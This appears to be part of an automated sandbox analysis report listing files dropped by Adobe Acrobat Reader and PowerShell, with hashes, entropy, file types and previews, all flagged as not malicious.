SHA-512:	960ACC465E25373087CFCD7ADD56CB143FBA33063E89306056DA8C6B15D542104A510BD0DC2863329F0D4875A85F42DF034B166D4F94316DC8817220EBA54130
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3306122649914895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJfFldPeUkwRe9:YvXKXxDcFGz8Ukee9
MD5:	949BDDB8C2BBDB6BABB3C4F17712DA4C
SHA1:	CAC70A59759056BCC2AFADFCF7C82FBAA611EB90
SHA-256:	87EF26C1B1572CAC3ABA50556318500A856D946E8975A3EBC40FCBB464CFD4B1
SHA-512:	F48D23A4059075E9AC14D6FEA9992152C0B8EE6B22C7BC047C7FF229C9628B318223D5FA79CBEFA6840C9BA9C984069C0423EB5235E91B728E5FE9B5804BDEED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.345361896311955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJfzdPeUkwRe9:YvXKXxDcFGb8Ukee9
MD5:	9CAF230A6AEC8D357AC31591D2662294
SHA1:	874D38F4C6D9AE458865A6711AF434CEFCEB8C58
SHA-256:	0DF02AD541EDCA04D02C58B7C19CC733E279C1F5AD6AD1D4FCCBFB5BCBD1B498
SHA-512:	092BA3FD3D4C9D6435DB197DD057CEB18973851F693F9BBC31633D759375718AA0F38EF9FDC2251BBFE04C3EA9B50E0EEA899F6D72083FC7B5C447260FC9C217
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.325939372627257
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJfYdPeUkwRe9:YvXKXxDcFGg8Ukee9
MD5:	D01D7FAF58A597822B80328D549FEC76
SHA1:	BF372072A9FE9641BA4F643119D211D4FFD3B578
SHA-256:	348F45507AC2817312C50D14180CF6F8A892A53EB39E159F97CCCF8E38BBA617
SHA-512:	811E5222331567CA8DB7F97A4194C222DDE69677054CC66BA3A55AAA9307D64708DF2DF87F291DF5592A87A7F3CE8BC0646E1F05AC5522495B2878E37F9129E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.31212872301264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJf+dPeUkwRe9:YvXKXxDcFG28Ukee9
MD5:	3A8CD87272A18C097E0ACC4A390F1CC0
SHA1:	2F5C5835FD475E87760F07A8C7A52DD6E7F41233
SHA-256:	E67DFCADE0840606C99360FB33EC2009B1701FB365A80BC5B32822A119B9177F
SHA-512:	A843A250DECEB867FE7994A48E28F07F4087360D426C2977A9036E14AABCA1FA2E9126A18BF3DD3D12A8CB09E48A50E9EB7DD6B529CA1E0A02E5A3F0D3E15548
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.309308192826019
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJfbPtdPeUkwRe9:YvXKXxDcFGDV8Ukee9
MD5:	C1D2BE2F0EFC85F58DA699A7B2D05EDF
SHA1:	93424CB90688A35DB4F59ACCCE1052524C70E77C
SHA-256:	A7489E5866A7E4B2064B090ECB8844A1E037FA6CBE5EFBF9A70F00B275529413
SHA-512:	3543EF3C7242313E1F9675DBB9C77D59DBCE5A3BAACBCD1D6A6C4DA4FAC16C81B8F3E6D61280273BC1F95E2399E24F47A0FB945B163CED02413FE1E77FA32D4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.312398802702921
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJf21rPeUkwRe9:YvXKXxDcFG+16Ukee9
MD5:	42C2A9F6999E3915B912967775F5226F
SHA1:	E916CC38B7F468C341B7124C0604035C5165DBE5
SHA-256:	6E90FA9DF0906C6E13953CB5255D996E0EBBB38471770690BD7E1072895F9C0D
SHA-512:	5115373E79CC92E8369887DE107363CEDF773609824BE1309EFC49F9411A68AD0BF10F041D8C584318A4119F0D72A05C74C8F20CC86F0B83A902FA18E09B6CAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.675097677375709
Encrypted:	false
SSDEEP:	24:Yv6XxoWamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSb1:YviBgkDMUJUAh8cvMJ
MD5:	C06E1D522BAE9E3E4478B74806E38470
SHA1:	261B06D61EDAF3F3E79BB054D4AB9DB64A69C718
SHA-256:	1BD80CB6C398C7EC10780ED5928265BC9B7D267A03ADBCE46DECC55F1842C7BF
SHA-512:	6CEACF461DF3BF49F1FB70F32B770A3811C0B06418D1AF8ED053C3219100618539FDD10151896B707A67EB5985959C691F38E76EDC680F57576E42D8A93C8E8F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.291729267138507
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJfshHHrPeUkwRe9:YvXKXxDcFGUUUkee9
MD5:	188E84DE42317CACA8AFCD687ADFF60D
SHA1:	4A5CC704939360C1900B1AEF3A941AE20BC01B27
SHA-256:	B73F0E76C3C5F2F6E8A4D864E250A69AA599867894F46A98B915A5AA6EC27616
SHA-512:	DB853615A5E55F49424FFBC51E4D0B714EF964171478B046B5127B984DF281075ED97D488F44576B49012D03D5D92838CA9FAE2EBA88CEC73A9939220E2C89E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.286702521602217
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzPh/DnZiQ0YlIUoAvJTqgFCrPeUkwRe9:YvXKXxDcFGTq16Ukee9
MD5:	E0A09944758E63AE5D9F6619D60C95ED
SHA1:	9A8F3FBD8E0F8B91A0D201AD81F2A9417B1F18FA
SHA-256:	0D1188ADC0AFED01F6140D98078CEA78D9D96226DB685827C3E23BD626D2A4A5
SHA-512:	EBC435EA3202F22C8759CCA900B7E9C05F7D15CC98E967FCCFFA3F71FB17A5B37495385D86AE6336C3DB5ED2E4C3B8BFA319304BD9CFC9BE76D1819BC9D91306
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"75427871-22ff-4650-84c9-b215fb274697","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736736710120,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141400537660916
Encrypted:	false
SSDEEP:	24:YSK+A1OGarkAayVuMqcNJx+pk5KBO4+luOaRPjuj0Sbf/gSC2o2LSbRC+RPm5qUK:Ybt2tYilgQqpfPRPkqUyeVUa9Ux
MD5:	1D1641890B26C277A534E8E433434738
SHA1:	8E223A274A554DD6B6EB60E614C1875218164FDB
SHA-256:	8F57987195F08B356F91469D6229181AE3D171FD4FD0C486A0D1905B4008D613
SHA-512:	2990BFDE3690FBA66FE3E0E32677D453DD513FB84D6B122C23DEB1FCCE510BB812BA0971BCE3B92CECD4D4AE084476537BB29DB481D34A0D71C6D96AE6D84E88
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4416e7fc008c1508f6d8c98ccbb6a40e","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558119000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4e34f2a8c734172e1e493d457062f416","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558119000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"139330e135dde4fcf3646bbab29e0eb0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558119000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1c34ec5df4ad6efae73e4096df789209","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558119000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"93f5f176e23ac097182a4f44d1ccb96f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558119000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"11a85ef5bcfbafa97eeda5db5253ddbe","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1465561650223317
Encrypted:	false
SSDEEP:	48:TFl2GL7msDuYNXc+XcGNFlRYIX2v3kUuYz:/VmsvNXc+XckFPYIX29z
MD5:	EC7BD58A13BA74F2CC56D2E45B2CD6A3
SHA1:	FFC6F6D7F7CEC7CE211D7CE6D88199EA288CEC21
SHA-256:	BF8926A2840765F367A695A72193DD619CD850F2C18E5B218ACAA3079321193B
SHA-512:	71E4849108762F1411D37A34026C6A80286BF4F3E398607B58345FE1EEDB3A02997D129D4D5411B96BFA4E7A7FF86DFD71B2617DDB70408AAA6CA514658E3B6F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5494576632997499
Encrypted:	false
SSDEEP:	48:7MKuYyXc+XcGNFlRYIX2v3qVl2GL7msKm:7TyXc+XckFPYIX2faVmsKm
MD5:	DF4EFF2D8DE837BEF30C12E5F3D2FC5F
SHA1:	10BA10F4761A31DDB7054D891698E5AAA3ED614B
SHA-256:	72859BBBE443BFCB91EAB968DE4CC3B662F4995B1281ED060061C9D2234A788F
SHA-512:	B5AAF79F264F01F87DE0C97C0A1F28343DC43FF3482C58021C750AAD0799545E880C4064132DB04CED917F930667995DB8B54F384D951E4E2F278B8645B62A6C
Malicious:	false
Preview:	.... .c.......b...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgrfXjBCkhCaVTPDPj42PHSjtl2nYyu:6a6TZ44ADEjeapPDPjt/SjtcK
MD5:	6D43ECAC37899F0A08C7974C0DD4C600
SHA1:	C2A09D9BEAE8DD90CA50AAA0F2A29AA285032478
SHA-256:	119095F63FC27E71DCBA9E3E00C9C8ACD6F59539CD7542A43317AB1A87091E08
SHA-512:	2652CDE945D955080A95164074F53258F553C538DE72DE89AA75C13CFE8938A77CD24DE17789CD56E816756EB85E858B70C2502B31747806B8BE6B8383009E3C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSId055a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClan:Qw946cPbiOxDlbYnuRK+btn
MD5:	65C532F1DE8BA94446F76F75B360CA3A
SHA1:	FD0BD8F42FB5FF6174F0D8176CDED5A770BB2AF1
SHA-256:	747EB8B16A99D2EC7134F3D73AF44D55800515A1F8201AACAC1CA4DB84ABD979
SHA-512:	784359435B62BEB3D07A3A7E11C50C9523C3B080CF303DBBAA5B09C244228BEFDAA703414CC882E34AF817915BA45358D2D8C628D6F83E089ECB5BA5D96CE450
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.5.:.1.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4sxvny44.3ct.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ppe1hjk0.qwz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-15-12-583.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.340713596247557
Encrypted:	false
SSDEEP:	384:hnkT8qeTxW/9mFYd7IeVgmNotGbXyBhaCNjAeWwHCawp/DtRzywJzezyHigjixZA:f2n
MD5:	9A7278199DF04B81B52FD351A0F62269
SHA1:	350A78B7C39BB35231490948E2BE187AFB014D30
SHA-256:	FF7DA5647FBD9C0968F3B14AAFE495EF490CB5F2AEBC8054D7B3EFBD1EA932A3
SHA-512:	D401BE4EE41EEB9C4DCA05814759F945150C1CD9C2F58FA23033B8A974ED2A75DE899A5A0B6A44D6F20F421794AFD6EEC9F4AD42324BAB754834EFEA0C966D2A
Malicious:	false
Preview:	SessionID=b528ca53-ef47-4ce9-86b6-e6baf5ca0dc2.1736558112596 Timestamp=2025-01-10T20:15:12:596-0500 ThreadID=6288 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b528ca53-ef47-4ce9-86b6-e6baf5ca0dc2.1736558112596 Timestamp=2025-01-10T20:15:12:616-0500 ThreadID=6288 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b528ca53-ef47-4ce9-86b6-e6baf5ca0dc2.1736558112596 Timestamp=2025-01-10T20:15:12:617-0500 ThreadID=6288 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b528ca53-ef47-4ce9-86b6-e6baf5ca0dc2.1736558112596 Timestamp=2025-01-10T20:15:12:617-0500 ThreadID=6288 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b528ca53-ef47-4ce9-86b6-e6baf5ca0dc2.1736558112596 Timestamp=2025-01-10T20:15:12:617-0500 ThreadID=6288 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394597934764818
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb4kcbyIU4cbV:V3fOCIdJDeSFU7
MD5:	08FF8BC22C6A2A2522016F424F890547
SHA1:	3CA6C0CBB805617E548629883B061539761EDB1C
SHA-256:	5BF4012FB60E294FA564DEC5D5BE7A29CF8635BB4A5380C3052D371F6BFF894B
SHA-512:	86AB1724E3371FB6418CE2DF2B10D1B05E12A924A77C7D8D33B65A6B456F9BF962B587150E0BF85EC47958B7CF3EE846B05829957527EDE836506C46D01EDEB0
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0e0156d4-c3c1-4661-bcae-bc35232cca68.tmp

Download File

